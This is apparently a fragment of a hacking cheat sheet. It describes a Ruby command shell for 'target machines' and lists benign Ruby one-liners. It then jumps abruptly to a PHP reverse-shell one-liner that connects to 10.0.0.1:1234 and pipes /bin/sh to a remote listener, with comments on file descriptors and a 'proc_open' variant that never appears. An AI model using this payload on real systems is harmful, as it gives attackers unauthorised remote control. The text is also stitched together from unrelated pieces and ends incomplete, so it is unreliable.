Ruby shell is a simple shell written in Ruby that allows for easy command execution. It is useful for executing commands on a target machine once a Ruby interpreter is available.
To use the Ruby shell, you can start by running the following command:
ruby ruby_shell.rb
Once the Ruby shell is running, you can execute commands on the target machine by typing them in the shell prompt.
Ruby One-Liners
Ruby one-liners are short and concise Ruby scripts that can be used for various purposes, including data manipulation, text processing, and system administration tasks. They are especially useful for quick tasks that can be accomplished with a single line of code.
Here are some examples of Ruby one-liners:
Print the current date and time:
ruby -e 'puts Time.now'
List all files in the current directory:
ruby -e 'puts Dir.glob("*")'
Base64 encode a string:
ruby -r base64 -e 'puts Base64.encode64("hello")'
Ruby one-liners can be a powerful tool in a hacker's arsenal for quick and efficient tasks.
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
